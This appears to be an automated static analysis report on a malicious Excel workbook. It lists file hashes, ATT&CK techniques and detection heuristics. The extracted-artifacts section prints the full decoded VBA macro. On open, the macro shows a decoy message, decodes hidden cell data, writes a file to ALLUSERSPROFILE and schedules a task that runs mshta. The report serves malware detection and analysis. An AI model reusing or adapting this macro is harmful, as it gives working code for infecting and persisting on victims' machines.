Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 02bbc073b586e0b6…

MALICIOUS

Office (OOXML)

136.1 KB Created: 2000-04-13 21:48:14 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-10
MD5: 42440c914b722238b909ed48db92353f SHA-1: 6e7f164ab31f7fc46215b9f99fae0d8ba215d6e9 SHA-256: 02bbc073b586e0b60c6befec7a00f4dc0eafeb8410372b273f121dac12d403c8
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1037.005 Scheduled Task

The sample contains a Workbook_Open VBA macro which is triggered automatically when the Excel file is opened. This macro uses CreateObject to interact with the file system and schedule tasks. Specifically, it attempts to write a file named 'xHtmlStatic.xsl' to the ALLUSERSPROFILE directory and uses the Schedule.Service COM object to create a scheduled task, likely to establish persistence or execute a secondary payload.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Set xDialogWorkbookName = xStretch.Actions.Create(xShiftToLeft)
    xDialogWorkbookName.Path = "mshta"
    xDialogWorkbookName.Arguments = xClipboardFormatStandardScale
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Next xFillDefault
    With CreateObject("Scripting.FileSystemObject")
    Set xTable1 = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xHtmlStatic.xsl")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xTiled
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        With CreateObject("Scripting.FileSystemObject")
    Set xTable1 = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xHtmlStatic.xsl")
    End With

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3533 bytes
SHA-256: 84ff84e29f0779f34e86e845a80f9153d4cfed70aec82a8632ff76fa67299e1e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xTiled
    xReport7 = 1 / 0
xTiled:
        If Err.Number <> 0 Then
            xEdgeTop = "Thank You!"
            MsgBox xEdgeTop, , "Good", Err.HelpFile, Err.HelpContext
            xTop10Percent = xDialogOpenMail()
        End If
End Sub

Function xDialogOpenMail()
    For Each xFillDefault In ActiveWorkbook.Sheets("Sheet1").Range("AN50:BX3761")
        If xFillDefault.Value > 0 And Len(xClipboardFormatStandardScale) < 201 Then
            xClipboardFormatStandardScale = xClipboardFormatStandardScale & Chr(xFillDefault.Value)
        ElseIf xFillDefault.Value > 0 Then
            xSYLK = xSYLK & Chr(xFillDefault.Value)
        End If
    Next xFillDefault
    With CreateObject("Scripting.FileSystemObject")
    Set xTable1 = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xHtmlStatic.xsl")
    End With
    Const xSlantDashDot = 1
    Const xShiftToLeft = 0
    Set xDiamond = CreateObject("Schedule.Service")
    Call xDiamond.Connect
    Set xDialogChartType = xDiamond.GetFolder("")
    Set xStretch = xDiamond.NewTask(0)
    Set xDialogCreateList = xStretch.RegistrationInfo
    xDialogCreateList.Description = "Updates"
    xDialogCreateList.Author = "The Company"
    Set xPrimaryButton = xStretch.Principal
    xPrimaryButton.LogonType = 3
    Set xPrinter = xStretch.Settings
    xPrinter.Enabled = True
    xPrinter.StartWhenAvailable = True
    xPrinter.Hidden = False
    Set xPatternCrissCross = xStretch.Triggers
    Set xPriorityHigh = xPatternCrissCross.Create(xSlantDashDot)
    xRowSeparator = DateAdd("s", 120, Now)
    xTextQualifierNone = xXYScatter(xRowSeparator)
    xRowSeparator = DateAdd("n", 5, Now)
    xConeBarStacked = xXYScatter(xRowSeparator)
    xPriorityHigh.StartBoundary = xTextQualifierNone
    With xTable1
        .Write xSYLK
    End With
    xPriorityHigh.EndBoundary = xConeBarStacked
    xPriorityHigh.ID = "TimeTriggerId"
    xPriorityHigh.Enabled = True
    Set xDialogWorkbookName = xStretch.Actions.Create(xShiftToLeft)
    xDialogWorkbookName.Path = "mshta"
    xDialogWorkbookName.Arguments = xClipboardFormatStandardScale
    Call xDialogChartType.RegisterTaskDefinition("2021 Updates", xStretch, 6, , , 3)
End Function


Function xXYScatter(xDialogDataValidation)
    xDataHeader = "0" & Second(xDialogDataValidation)
    xListDataTypeDateTime = "0" & Minute(xDialogDataValidation)
    xBitmap = "0" & Hour(xDialogDataValidation)
    xDialogAddChartAutoformat = "0" & Day(xDialogDataValidation)
    xFormulas = "0" & Month(xDialogDataValidation)
    xSrcRange = Year(xDialogDataValidation)
    xDialogFormatAuto = Right(xBitmap, 2) & ":" & Right(xListDataTypeDateTime, 2) & ":" & Right(xDataHeader, 2)
    xGrid = xSrcRange & "-" & Right(xFormulas, 2) & "-" & Right(xDialogAddChartAutoformat, 2)
    xXYScatter = xGrid & "T" & xDialogFormatAuto
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: 7120326b5dafa5e892b1e551d6d1d5d6525170848ca303d1b80ce64e3ab33869

Open this report in the interactive analyzer, or submit your own file for analysis.